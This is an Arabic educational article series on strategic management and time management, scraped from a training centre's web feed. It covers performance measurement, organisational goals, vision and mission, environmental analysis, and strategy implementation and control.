نتيجة للانتقادات العديدة التى وجهت لنظم قياس الأداء المالى فقد اتجه البعض إلى نوع آخر من نظم القياس وهى نظم قياس الأداء غير المالى والتى تتضمن عدة مقاييس مثل رضا العميل، والجودة، والابتكار، والالتزام، والمعرفة، …. الخ. ويوضح الجدول التالي أهم الدراسات السابقة التى تناولت مقاييس الأداء غير المالية :

 

 على الر غم من أن هذه النظم قدمت مقاييس غير المالية فى نظم قياس الأداء إلا أن الاعتماد على تلك المقاييس فقط لا يعطى نظرة شاملة عن الأداء العام للمنظمة، فضلاً عن صعوبة تعريف وتحديد وقياس بعضها مثل الجودة والمعرفة . الأمر الذي يتطلب أستخدام نظم القياس التى تتضمن كلا النوعين السابقين وهما المقاييس المالية والمقاييس غير المالية.

 

ج- نظم قياس الأداء المالى وغير المالى:

فى السنوات الأخيرة ، حاول البعض تقديم نظام آخر لقياس الأداء العام للمنظمة يجمع بين المقاييس المالية والمقاييس غير المالية فى محاولة للربط بينهما، حيث أوضحت الدراسات السابقة أن هناك علاقات أرتباط قوية بين المقاييس المالية والمقاييس غير المالية للأداء.

ويوضح الجدول التالى أهم الدراسات السابقة ٢التى تناولت المقاييس المالية وغير المالية كما يلى :

 

د– نماذج قياس الأداء المتطورة :

بالإضافة إلى النماذج والمقاييس السابقة، قام بعض الباحثين بتطوير نماذج ومقاييس أخرى متطورة ٢ نظاماً لتقييم الأداء الاستراتيجي للمنظمة أطلق (freeman, وشاملة لقياس مستوى الأداء، حيث اقترح عمليه مقاييس أو مدخل أصحاب المصالح ، حيث يقيس أداء المنظمة من وجهة نظر كل فئة من أصحاب المصالح ، وذلك على النحو الذي يوضحه الجدول التالي :

 

نظام التقييم المتوازن للأداء

يعتمد هذا النظام على فلسفة اساسية وهى أن الاداء المالى التاريخى لايعبر وحدة عن اداء المنظمة ، بل اقترح النموذج ثلاث ابعاد اخرى با لاضافة الى هذا البعد لتعطى صفة الشمولية للاداء يوضحها الشكل التالى :

 

الأهداف فى الواقع العملى :

مرت المنظمات بمراحل متعددة لتطوير وصياغة أهدافها وهذه المراحل هى:

1- عدم وجود أهداف رسمية No Formal Objectives حيث أن كثير من المنظمات (عادة الصغرى) لا يوجد لديها أى أهداف مكتوبة على الإطلاق.

2- صياغة أهداف عامة Formulating of General Objectives لكنها ليست فى شكل مكتوب Not in written form فبمجرد أن تعى الإدارة أهمية وجود الأهداف فإنها تبدأ فى صياغة هذه الأهداف. فإذا سألت الإدارة العليا عن أهدافها فربما تعطيك إجابات عامة. ولن تجد هذه الأهداف مكتوبة أو موثقة فى أى مكان.

3- صياغة أهداف عامة لكنها مكتوبة General, written Objectives  إن الخطوة التالية هى كتابة وتوثيق هذه الأهداف، وقد تظهر فى التقارير السنوية للمنظمة.

4- صياغة أهداف محددة Specific objectives. وتكون الصعوبة فى هذه المرحلة هى إهتمام المديرين بتحديد الأهداف. فمثلاً من زيادة معدل العائد على الاستثمار إلى “زيادة معدل العائد بنسبة 9% بنهاية عام 2012 (لاحظ الدقة والتحديد فى الهدف الجديد).

5- صياغة وترتيب أهداف محددة Ranking of specific objectives. فالمرحلة الأخيرة والصعبة هى سؤال المديرين عن ترتيب الأهداف. حيث يجب أن يقـرر المديرين مثلاً أن هدف معدل العائد على الاستثمار أهم من الحصـة السـوقية أو العكس، أو أن الحصة السوقية أهم من رضاء العاملين.

ويوضح الشكل التالى ملامح كل مرحلة من المراحل السابقة :

 

أهداف المنظمة والاستمرارية

عادة ما يكون للمنظمة ثلاثة مستويات أو أنواع من الأهداف وهي الأهداف المباشرة والأهداف القابلة للتحقيق والأهداف المنظورة أو الخيالية والتى يوضحها الشكل التالى:

 

 التدرج الهرمى للأهداف

الأهداف المنظورة:

تقع الأهداف المنظورة في  قمة التدرج الهرمى، وهى بمثابة الإنجازات المرغوبة أكثـر بالنسـبة للمنظمة، وبعضـها يمكن عملياً توقعه خلال وقت بعيد.

وتشجع الأهداف المنظورة على التقدم والتحسين وغالباً ما تتحقق فى النهاية، فيقال مثلاً أن منظمة صغيرة كونها الأخوين أورفيل وولبر رايت كان لها مثل هذا الهدف المنظور، فقد توقعا بأن الإنسان سيستطيع يوما ما الطيران باستخدام الآلات وبدءا العمل نحو تحقيق هذه الفكرة غير العملية، وتتغير الأهداف المنظورة مع تقدم مستوى المعرفة ومع تغيرات الظروف التى تؤثر فى المنظمة، والعمل نحو هدف منظور يعد بمثابة محاولة الوصول إلى نقطة فى نهاية طريق مستقيم وممتد إلى ما لا نهاية، وكلما تحرك الإنسان نحو تلك النقطة كلما ابتعدت عنه بقدر اقترابه منها وهكذا.

ويرى البعض الأهداف المنظورة غير ضرورية كما يشار إليها على أنها نظرية جداً أو بعيدة بعد السماء عن الأرض أو لا يمكن تحقيقها حالياً ، إلا أنها في الحقيقة مفيدة جداً لكل منظمة تنوى الاستمرار فى تحسين ما تحققه، وهى تعتبر المنشط الأساسى جزئياً لبعض إنجازات البشرية العظمى.

 ومن ناحية عملية يمكن إسناد كل تقدم حديث فى النقل أو الاتصالات أو الطاقة أو الطب وجميع الحالات التى تساهم فى تحقيق أعلى مستويات المعيشة التى عرفها الإنسان إلى الآن إلى الأهداف المنظورة هذه والتى كانت فى الماضى بمثابة سهام فى السماء إلى أن أصبح المنظور قابلاً للتحقيق ومن ثم مباشر (ومن أمثلة ذلك أجهزة الفاكس والإنترنت والسفر للفضاء وأطباق الاستقبال المعروفة باسم الدش… الخ) البقية تأتى.

الأهداف القابلة للتحقيق :

إن الأهداف القابلة للتحقيق هى تلك التى يمكن تنفيذها ويمكن تقدير الوقت اللازم لإنجازها، وعلى الرغم من أن الأهداف المنظورة تكون عادة بعيدة جداً فى المستقبل بحيث يكون من غير العملى التفكير فى وضع برنامج زمنى لتحقيقها إلا أن الأهداف القابلة للتحقيق ليست كذلك، وفى الحقيقة فإن معظم برامج البحوث مصممة بصفة خاصة للعمل نحو الأهداف القابلة للتحقيق.

الأهداف المباشرة أو الحالية :

عندما تصبح الأهداف القابلة للتحقيق ممكنة (أو عملية) فإن مجموعة جديدة من الأهداف (أهداف مباشرة) تكون ضرورية حتى يمكن إنتاج وتسويق السلعة، وأن جميع السلع والطرق والوسائل الجديدة (جميع الابتكارات) هى أمثلة عن أهداف قابلة للتحقيق أمكن الوصول إليها وأصبحت عندئذ أهدافاً مباشرة.

ويمكن إنجاز الأهداف المباشرة بواسطة المعرفة والطرق الفنية المتاحة، ولا يتطلب الأمر إمتداد المعرفة كما هو الأمر عند محاولة الوصول إلي الأهداف القابلة للتحقيق، ولا يتطلب الأمر أيضاً البحث عن معرفة جديدة كما هو الحال بالنسبة للأهداف المنظورة.

ويمكن ربط الأهداف بالوقت، فالأهداف المنظورة هى المنتهى أو الحلم بالنسبة للمنظـمـة ولا يمـكـن وضع جدول زمنى محدد لتحقيقها، وتتطلب الأهداف القابلة للتحقيق استثـماراً فى البحث لتنمية وإتقان الفـن الصناعى، لكن يمكن إعداد تقديرات جيدة بالنـسـبة للوقت أو الإنفاق اللازم، ويمكن تحقيـق الأهداف المباشرة الآن بدون تطورات جديدة فى الفن الصـناعى، وتهـتم المستويات الأدنى من المنظمات المركـبة أسـاساً بالأهداف المباشرة، وتصـبح المسـتـويات الأعلى أكثر اهـتـمـاماً بالأهداف المنظورة والأهداف القابلة للتحقيق بشكل متزايد، ومن مهام الإدارة التـأكـد مـن أن الأهـداف لكل جزء فى المنظمة تكون معلومة دائماً.

وتتوقف حياة المنظمة – من ناحية القصر أو الطول – على نظرتها إلى البقاء وفلسفة إدارتها وهيكل علاقاتها، حيث أن المحدد الأول لدوام المنظمة هو نظرتها إلي البقاء.

إن مسالة البقاء لن تكون عادة ذات أهمية رئيسية بالنسبة لمنظمة قصيرة الأجل، وتهتم مثل هذه المنظمة فقط بالعيش أو البقاء فى الحاضر ولا يكون لديها اهتمـام بما قد تصـبح عليه حيـث أن البقاء فى الأجل الطويل ليس هدفا لها.

وعلى النقيـض من المنظمات قصيرة الأجل، فإن المنظمة طويلة الأجل لها اهتمام حيوى  ومستمر ببقائها، فهى تجعل البقاء والنمو والاستمرارية أحد أهدافها، وبدون ذلك تكون فرصتها ضعيفة للعيش طويلاً.

*   *   *

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمى للإدارة الاستراتيجية

بقلم الأستاذ الدكتور / عبد الحميد أبو ناعم   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثالثة

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/strategic_management-02-2/feed/ 0 سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الأولى https://cameknowledge.camecenter.com/articles/strategic_management-02/ https://cameknowledge.camecenter.com/articles/strategic_management-02/#respond Sat, 01 Apr 2023 15:15:22 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10322 سلسلة مقالات – الإدارة الاستراتيجية بقلم أ. د / عبد الحميد أبو ناعم المقالة الأولى الإطار المتكامل للإدارة الإستراتيجية 1.      مقدمـة تدور عملية الإدارة الإستراتيجية في أي شركة حول إعداد وبناء خطة إستراتيجية تمكن الشركة من تحسين أدائها الاقتصادي وتدعيم قدراتها التنافسية. وتتضمن الخطة الإستراتيجية بمفهومها الواسع موضوعين رئيسيين وهما: النتائج المالية والتنافسية المطلوب تحقيقها […]

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الإدارة الاستراتيجية

بقلم أ. د / عبد الحميد أبو ناعم

المقالة الأولى

الإطار المتكامل للإدارة الإستراتيجية

1.      مقدمـة

تدور عملية الإدارة الإستراتيجية في أي شركة حول إعداد وبناء خطة إستراتيجية تمكن الشركة من تحسين أدائها الاقتصادي وتدعيم قدراتها التنافسية. وتتضمن الخطة الإستراتيجية بمفهومها الواسع موضوعين رئيسيين وهما: النتائج المالية والتنافسية المطلوب تحقيقها أو الوصول إليها  Results and Ends، و ما هي افضل الوسائل الموصلة إلى ذلك Best means. وعندما نتحدث عن ذلك داخل شركتك فهذا يتضمن أربع مكونات رئيسية وهي:

  1. رؤية الشركة وتوجهاتها المستقبلية في السوق  vision .
  2. رسالة الشركة و لماذا هي موجودة mission  .
  3. الأهداف الإستراتيجية للشركة  goals .
  4. اختيار الإستراتيجيةstrategy التي ستعتمد عليها الشركة لتحقيق أهدافها.

2.      تطور الفكر الاستراتيجي في النظر للتخطيط والمستقبل

بدأت الكثير من الشركات أعمالها بطريقة تعتمد على التجربة والخطأ. واتسمت هذه الفترة بإهمال وظيفة التخطيط والاستغراق في حل ومواجهة المشاكل الحالية أو حل المشاكل المرحلة من الماضي. وقد اكتشفت الشركات أن هذا أسلوب غير سليم، وبدأت في الاهتمام بالتفكير في التخطيط، والتخطيط يعنى المستقبل. ولقد مر الفكر الإداري بعدة مراحل عكست الواقع العملي في التعامل مع المستقبل وذلك من خلال المراحل التالية:

المرحلة الأولى: التخطيط المالي البسيط Basic financial Planning

وذلك من خلال إعداد موازنة سنوية تعتمد على البيانات الداخليةInternal  للشركة والآتية من قسم المبيعات والتي تعتمد على بيانات مبسطة عن السوق وتستخدم كأداة رقابية في المقام الأول.

المرحلة الثانية: التخطيط المبني على التنبؤ Forecast Based Planning

عجزت الموازنة السنوية عن توفير تخطيط طويل الأجل, وبدأ المديرون في وضع خطط طويلة الأجل
(5 سنوات) للتعامل مع المشروعات الاستثمارية طويلة الأجل. وتعتمد هذه الخطة على البيانات الداخلية internal بالإضافة إلى بيانات خارجيةexternal و لكن بصفة عشوائية غير منظمة ad hoc basic مع اعتبار أن المستقبل هو امتداد للأداء الحالي.

المرحلة الثالثة:      التخطيط الموجه بالعوامل الخارجية (التخطيط الاستراتيجي)

Externally- oriented planning (SP)                                        

بدأت الإدارة العليا تأخذ على عاتقها وتمارس عملية التخطيط الاستراتيجي. وبدأت الشركات تركز على زيادة استجابتها للتغيرات التي تحدث في السوق والمنافسة من خلال التفكير الاستراتيجي. وانتقلت عملية التخطيط من أيدي المديرين في المستويات الأدنى إلى مديرين متخصصين لإعداد الخطط الاستراتيجية للشركة. وغالباً ما كان يتم الاعتماد على الاستشاريين الخارجيين في ذلك.

المرحلة الرابعة: الإدارة الإستراتيجية Strategic Management

بدأت الإدارة العليا تدرك أنه لن يكتب النجاح لأي عمل بدون مشاركة والتزام الجميع لذا بدأت في  تكوين فرق عمل هدفها وضع الخطط الإستراتيجية اللازمة لتحقيق رسالة وأهداف الشركة. وتم استبدال الخطة الإستراتيجية طويلة الأجل بالتفكير الإستراتيجي للإدارة العليا على مستوى الشركة ككل.

3.     تعريف الإدارة الإستراتيجية

وفي ضوء ما سبق يمكن تعريف الإدارة الإستراتيجية على أنها العملية التي تقوم بمقتضاها الإدارة العليا للشركة بتحديد:

1.    اتجاه الشركة ورؤيتها المستقبلية Direction/Vision
2.    رسالة الشركة (لماذا وجدت الشركة أصلاً ؟ Mission
3.    أهداف الشركة Objectives
4.    إستراتيجية الشركة Strategy والتي تتكون من:  
أ .    صياغة إستراتيجية الشركة Strategy Formulation
ب.   اختيار الإستراتيجية Strategy Selection
ج.    تطبيق إستراتيجية الشركة المُختارة Strategy Implementation
د.     متابعة وتقييم نتائج تطبيق هذه الإستراتيجية Strategy Evaluation

 

ومن خلال الشكل التالي؛ نوضح مكونات عملية الإدارة الإستراتيجية:

 

 

سنتناول في الجزء التالي كل مكون من مكونات عملية الإدارة الإستراتيجية داخل شركتك) كل على حدة.

1.     الرؤية المستقبلية

بالرغم من أن الرؤية تقودنا إلى المستقبل Direct us toward the future، إلا أنها تصاغ في الوقت الحاضر. والرؤية المستقبلية للشركة عبارة عن:

  • صورة للمستقبل المرغوب Preferred future we seek to create
  • بمثابة البوصلة التي توجه كل طاقات وإمكانات الشركة نحو اتجاه معين.
  • بمثابة المغناطيس الذي ينجذب إليه الجميع ودفعهم في نفس الاتجاه.

It acts like a magnet that pulls all the people together toward the same direction.        

 

  • بمثابة رسم صورة Paint Picture توضح ما يجب أن تكون عليه الشركة في المستقبل How the Company will be in the future.

 

1/1    خطوات بناء الرؤية المستقبلية

  1. يتم تشكيل فريق ممثل لجميع أصحاب المصالح لقيادة عملية بناء الرؤية المستقبلية للشركة (موظفين –عملاء موردين-حكومة..الخ).
  2. يقوم الفريق المكلف بإعداد وتشكيل الرؤية المستقبلية بوضع الأسئلة التي ستجيب عليها الرؤية وهي:
الوضع الحالي الوضع المستقبلي
يركز على تحديد:

o       من هم العملاء الذي تخدمهم حالياً ؟

o       ما هي احتياجاتهم ؟

o       ما هي قنوات التوزيع التي نصل من خلالها إلى العملاء حالياً ؟

o       ما هي القيم السائدة في الشركة الآن ؟

o       من هم المنافسون للشركة حالياً ؟

o       ما هي الميزة التنافسية للمنظمة حالياً ؟

o       ما هي متطلبات إرضاء العملاء الآن ؟

o       ما هي الكفاءات والمهارات المطلوبة كي تجعل من الشركة شركة متميزة الآن ؟

 يركز على تحديد:

o       من هم العملاء الذين ستخدمهم في المستقبل؟

o       ما هي احتياجاتهم ؟

o       ما هي قنوات التوزيع التي سنصل بها إلى العملاء مستقبلاً ؟

o       ما هي القيم المطلوبة مستقبلاً ؟

o       من هم المنافسون مستقبلاً ؟

o       ما هي الميزة التنافسية المستقبلية والتي يجب بناؤها من الآن ؟

o       ما هي متطلبات إرضاء العملاء مستقبلاًُ ؟

o       ما هي الكفاءات والمهارات المطلوبة كي تجعل الشركة متميزة في المستقبل ؟

 

  1. يقوم الفريق بصياغة رؤية الشركة Vision ورسالتها Mission وتوزيعهما على متخذي القرار الرئيسيين لتقييمها وإعطاء تصوراتهم عنها.
  2. نشر وتوصيل الرسالة والرؤية للمجموعات المختلفة داخل الشركة والى جميع العاملين فيها، وكذا أصحاب المصالح (العملاء، الموردين، المجتمع).

 

2.     رسالة الشركة

لكل شركة سبب أساسي وجوهري يبرر وجودها A fundamental reason for existence . وسواء سمي ذلك بتحديد مجال النشاط   The Business Definition  أو غرض الشركة Purpose  أو رسالتها Mission  فإنه لا بد من تحديد هذه الرسالة جيداً حتى تستطيع الشركة أن تعرف لماذا وجدت وبالتالي الرسالة التي وجدت من أجلها.

2/1    المقصود برسالة الشركة

رسالة الشركة Mission   هي عبارة عن غرضها الأساسي والفريد الذي يميزها عن غيرها من الشركات التي تعمل معها في نفس المجال والذي يحدد أيضاً مجال عمليات الشركة في شكل منتجات تقدم وأسواق يتم خدمتها.

 “ The company Mission is defined as fundamental, unique purpose that sets a business apart from other firms of its type and identifies the scope of operations in product and market terms” ( Pearce & Robinsion)

2/2  أهمية وجود صياغة واضحة ومحددة لرسالة الشركة

تعتبر عملية صياغة الرسالة عملية صعبة وتستغرق وقت طويل لكنها ضرورية حيث توفر للشركة ما يلي:

  • الاتفاق على غرض الشركة ورسالتها الأساسية من قبل كل الأطراف الداخلية والخارجية التي لها مصالح في الشركة.
  • توفير أساس جيد للتحفيز وتخصيص موارد الشركة المختلفة بطريقة أكثر كفاءة.
  • بناء وتوفير لغة واحدة ومناخ مناسب داخل الشركة Climate.
  • تحديد من سيظل يعمل داخل الشركة لتحقيق رسالتها ومن سيشعر أنه غير قادر على الأداء داخل هذه الشركة في ضوء معاييرها وقيمها.

2/3  صياغة وتطوير رسالة الشركة

يتم تطوير رسالة الشركة في ضوء رغبات واحتياجات نوعين من أصحاب المصالح وهم الأطراف الخارجية والأطراف الداخلية. وتتكون الأطراف الخارجية من العملاء، الموردين، المقرضين، الحكومة، المنافسين، وأخيراً المجتمع المحيط. أما الأطراف الداخلية فتتكون من الإدارة، وجلس الإدارة، المساهمين، والعاملين.

ويوضح الشكل التالي الأطراف المؤثرة على رسالة الشركة:

 

ويمكن التعبير عن رسالة الشركة من خلال الاسم  name، كما يمكن التعبير عن الرسالة من خلال شعار Slogan  لرسالة الشركة memorable indicators of mission  . وأخيراً يمكن التعبير عن الرسالة في شكل مكتوب وموثق  statement.  وتفيد الرسالة في هذه الحالة كأداة تخطيطية Planning tool  وكأداة تستخدم في العلاقات العامة Public relations  بهدف توضيح وتحسين صورة الشركة Image.

3.     أهداف الشركة

الأهداف هي النهايات التي تجاهد الشركة من خلال وجودها لكي تحققها.

 “Organizational al Objectives are those ends which the Company seeks to achieve by its existence and operations “ (Glueck).

وقد تتحقق الأهداف نتيجة لوفرة الموارد أو المفاجآت أو بالحظ، أو من خلال أخطاء المنافسين، ولكنها تأتي أيضاً نتيجة العمل الإيجابي وفرض السيطرة التنافسية والأداء المنظم والتحركات المناسبة في السوق. وتقاس الأهداف من خلال معدل محدد على الأموال المستثمرة، أو معدل معين لسعر السهم.

4.     إستراتيجية الشركة

تنقسم هذه العملية إلى ثلاث مكونات رئيسية وهى:

4/1    صياغة وبناء الإستراتيجية

تتكون مرحلة صياغة وبناء  الإستراتيجية من ثلاث خطوات متكاملة وهى:

  • تحليل البيئة المحيطة بشركتك للتعرف على الفرص والتهديدات هذه البيئة.
  • تحليل وتقييم إمكانات الشركة الداخلية لمعرفة أوجه قوتها وأوجه ضعفها.
  • اختيار الإستراتيجية المناسبة.

4/1/1 تحليل البيئة العامة المحيطة بالشركة

وهي البيئة التي تتكون من مجموعة العوامل والمتغيرات التي لا تخص منظمة بعينها وتشمل العوامل أو المتغيرات السياسية والاقتصادية والاجتماعية والتكنولوجية وكذلك ظروف الصناعة التي تعمل فيها الشركة. وهذه المتغيرات ينظر إليها إما على أنها تمثل فرص Opportunities أو قيود أو تهديدات Threats. وعادة ما تكون هذه العوامل بمثابة عوامل حاكمة بمعنى أن الشركة لا تستطيع تغييرها وإنما تستطيع التنبؤ بها. فمثلاً إذا حدث كساد فعلى الشركة توقعه مبكراً وإعداد الاستراتيجية اللازمة للتعامل معه ولكنها لا تستطيع منعها نهائياً.

أ.     الاعتبارات الاقتصادية

تدور الاعتبارات الاقتصادية حول التغيرات التي تحدث في القوة الشرائية لعملاء الشركة والتي تؤثر بالتالي على الطلب على منتجات الشركة. ولأن أنماط الاستهلاك تتأثر بدرجة إنفاق الشريحة التي تتعامل معها الشركة، فلابد من فهم الاتجاهات الاقتصادية لهذه الشريحة. وهناك العديد من المتغيرات التي يجب على الشركة دراستها وتوفير البيانات عنها وهي:

  1. إجمالي الناتج القومي للدولة أو للدول التي تمارس فيها الشركة نشاطها.
  2. الدخل المتاح للتصرف فيه لدى الأفراد والمخصص لشراء منتجات الشركة.
  3. الميل للإنفاق لدى الأفراد.
  4. أسعار الفائدة على الائتمان.
  5. معدل التضخم.
  6. مستويات الائتمان التي تمنح للعملاء.

ب.   الاعتبارات الاجتماعية

وتتمثل هذه الاعتبارات في المعتقدات والقيم والاتجاهات وأنماط حياة الأفراد الذين يعيشون في البيئة المحيطة. وقد يسأل القارئ وما فائدة ذلك في الإدارة الإستراتيجية؟ والإجابة هي أن تغير في العوامل السابقة سوف يؤدي إلى تغير في المنتجات أو الخدمات التي تقدمها الشركة .

ج.    الاعتبارات السياسية

إن اتجاه واستقرار العوامل السياسية العالمية والمحلية يعتبر من العوامل الهامة في الإدارة الإستراتيجية. وتمثل هذه الاعتبارات النواحي القانونية والحكومية السائدة في الدولة أو المنطقة التي ستعمل فيها الشركة وهناك عديد من القيود السياسية والقانونية التي تمثل قيوداً على الشركة ومنها:

  1. العولمه.
  2. القرارات الخاصة بحرية التجارة ومن أمثلتها اتفاقية الجات GATT.
  3. القرارات الخاصة بالضرائب.
  4. الحد الأدنى للأجور.
  5. سياسات التسعير.

وعلى الشركات أن تكون على وعي مستمر بالعوامل السياسية والقانونية وأن تحاول أن تتنبأ بها وتحولها لصالحها إن أمكن وفي بعض الحالات تضغط على الحكومة كي تسن التشريعات في صالحها.

د .    الاعتبارات التكنولوجية

على الشركة أن تتابع تكنولوجيا الصناعة التي تعمل فيها وإلا أصبحت معداتها ومنتجاتها وخدماتها متقادمة وغير مقبولة من العملاء. ونفس الكلام ينطبق على الأساليب التسويقية والمالية المستخدمة في الشركة. ويتم ذلك عادة من خلال التنبؤ بالتغيرات التكنولوجية والمالية وأساليب التسويق التي قد تحدث في مجالات الشركة المختلفة.

هـ.   تحليل الصناعة والمنافسة التي تعمل فيها الشركة

بعد تحليل متغيرات البيئة العاملة التي تعمل فيها الشركة يتبقى بعد ذلك المتغيرات الخاصة ببيئة النشاط الذي تعمل فيه الشركة،وتختلف هذه البيئة اختلافاً جذرياً عن البيئة العامة حيث أن بيئة النشاط يمكن التحكم فيها بعكس البيئة العامة التي لا يمكن التحكم فيها.

ويلاحظ أن توافر مثل هذا التحليل والتقييم للبيئة العامة وبيئة النشاط يفيد الإدارة كثيراً في بناء وصياغة خططها الإستراتيجية في المستقبل.

4/1/2 تحليل العوامل الداخلية

إن الجناح الثاني لبناء الإستراتيجية هو إمكانات الشركة الداخلية والتي يجب أن تحشد وتعد وتجهز مبكراً مع التعرف على أوجه القوة لتدعيمها وأوجه الضعف لعلاجها مع عدم ترك أي شئ للصدفة. وتتضمن عملية تحليل وتشخيص إمكانيات الشركة خطوتين الأولى: تحديد هذه العوامل والثانية تقييم هذه العوامل.

العوامل الإستراتيجية الداخلية هي ببساطة كل إمكانيات الشركة الداخلية والتي تتضمن المجالات الوظيفية المختلفة (العمليات، البحوث والتطوير، التسويق، التمويل، الأفراد).

4/1/3 اختيار الإستراتيجية المناسبة

في ضوء العاملين السابقين يتم اختيار الإستراتيجية المناسبة للشركة مما يلي:

  1. إستراتيجية التركيز على النشاط الحالي لشركتك
  2. إستراتيجية تطوير السوق الذي تعمل فيه الشركة
  3. إستراتيجية تطوير المنتجات والخدمات المقدمة
  4. إستراتيجية التجديد والابتكار
  5. إستراتيجية التكامل الأفقي
  6. إستراتيجية التكامل الراسي
  7. إستراتيجية المشروعات المشتركة
  8. إستراتيجية التنويع المرتبط بالنشاط الحالي
  9. إستراتيجية التنويع غير المرتبط بالنشاط الحالي
  10. إستراتيجية تخفيض الإنفاق وتعديل الأوضاع
  11. إستراتيجية بيع الجزء الأكبر من النشاط
  12. إستراتيجية التصفية والخروج من السوق

 

4/2    مرحلة تطبيق الإستراتيجية Strategy Implementation

وهذه أصعب مرحلة حيث أنها تتطلب وقتاً يعادل عشر مرات الوقت اللازم لعملية الصياغة وأصعب شئ في هذه المرحلة هو تحويل الخطط إلى واقع والأفكار إلى عمل وهذه تتطلب مجموعة من الخطوات ( المراحل ) وهي:

  1. اختيار القيادة التي تتناسب مع الإستراتيجية الجيدة وذلك في حالة عدم قدرة الإدارة الحالية على تغيير توجهاتها وأدائها.
  2. تحويل وترجمة الأهداف الإستراتيجية إلى أهداف سنوية محددة.
  3. تطوير الاستراتيجيات على مستوى الوظائف ( الأنشطة ) داخل الشركة.
  4. تصميم الهيكل التنظيمي المناسب للإستراتيجية الجديدة
  5. إعداد السياسات اللازمة التي تقود عملية التطبيق.
  6. بناء مناخ وثقافة مناسبة لقبول وتدعيم الإستراتيجية الجديدة.

4/3    مرحلة الرقابة وتقييم الإستراتيجية Strategy Evaluation& Controlling

هنا يطرح سؤال وهو:

 

5.     كيف يمكن رقابة الإستراتيجية

تراقب الإستراتيجية من خلال نظامين أساسيين وهما:

5/1    نظم الرقابة الإستراتيجية Strategic Control ، وتتضمن:

أ .    رقابة الافتراضات الأساسية التي بنيت عليها الاستراتيجية (البيئة والمنافسة).

ب .  الرقابة المستمرة أثناء تطبيق الاستراتيجية

ج.    الإشارات أو المؤشرات الاستراتيجية العامة أو الخاصة والتي تؤثر على الشركة من قريب أو بعيد.

 د .   مراجعة الاستراتيجية عند وقوع أحداث طارئة.

5/2    نظم الرقابة التشغيلية ، وتتضمن:

  • نظم الموازنات:
  • الجدولة أي جدولة تنفيذ المشروعات والخطط على أوقات محددة
  • عوامل النجاح الأساسية للشركة مثل:
  • الخدمة المتميزة.
  • الروح المعنوية العالية للموظفين.
  • تحسين الإنتاجية.

5/3    التحسين المستمر للأداء من خلال الاسترجاع

عادة ما تظهر عملية المتابعة و التقييم أن هناك حاجة للتطوير والتحسين  وهناك اكثر من  أسلوب لتحسين وتطوير ألا داء وهى:

  • إعادة الهيكلة.
  • إعادة الهندسة.
  • التحسين المستمر.
  • إدارة الجودة الشاملة ( الكلية ) للشركة.

*   *   *

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمى للإدارة الاستراتيجية

بقلم الأستاذ الدكتور / عبد الحميد أبو ناعم   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – الإدارة الاستراتيجية-بقلم أ. د/ عبدالحميد أبو ناعم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/strategic_management-02/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة https://cameknowledge.camecenter.com/articles/time_management-08/ https://cameknowledge.camecenter.com/articles/time_management-08/#respond Sat, 01 Apr 2023 14:31:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10320 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثامنة عشرون نصيحة من أجل إدارة ناجحة للوقت : وضح أهدافك أولا ثم أكتبها ثم ضع الأولويات و تأكد أنك ستحصل على ما تريد تحقيقه في حياتك . ركز على الأهداف و ليس على الأنشطة . أن أهم أنشطتك هي التي تساعدك على […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثامنة

عشرون نصيحة من أجل إدارة ناجحة للوقت :

  • وضح أهدافك أولا ثم أكتبها ثم ضع الأولويات و تأكد أنك ستحصل على ما تريد تحقيقه في حياتك .
  • ركز على الأهداف و ليس على الأنشطة . أن أهم أنشطتك هي التي تساعدك على تحقيق أهدافك .
  • حدد هدفا واحدا على الأقل يوميا و حاول تحقيقة .
  • سجل وقتك دوريا حتى تستطيع تحليل كيفية استخدامك لوقتك و حتى يمكنك استبعد عادات إضاعة الوقت السيئة من حياتك .
  • حلل كل شئ تقوم به نحو تحقيق أهدافك . اعرف ماذا تفعل ، و متى و لماذا تقوم به ، و اسأل نفسك دائما ماذا سيحدث إذا لم يتم هذا العمل ، فإذا كانت الإجابة لا شئ توقف عن العمل فورا .
  • استبعد أسبوعيا على الأقل سببا قويا يضيع وقتك .
  • خطط وقتك وضع خطة لكل أسبوع ثم اسأل نفسك عما تتمنى تحقيقه في نهاية الأسبوع وما يجب أن تفعله لتحقيق ذلك .
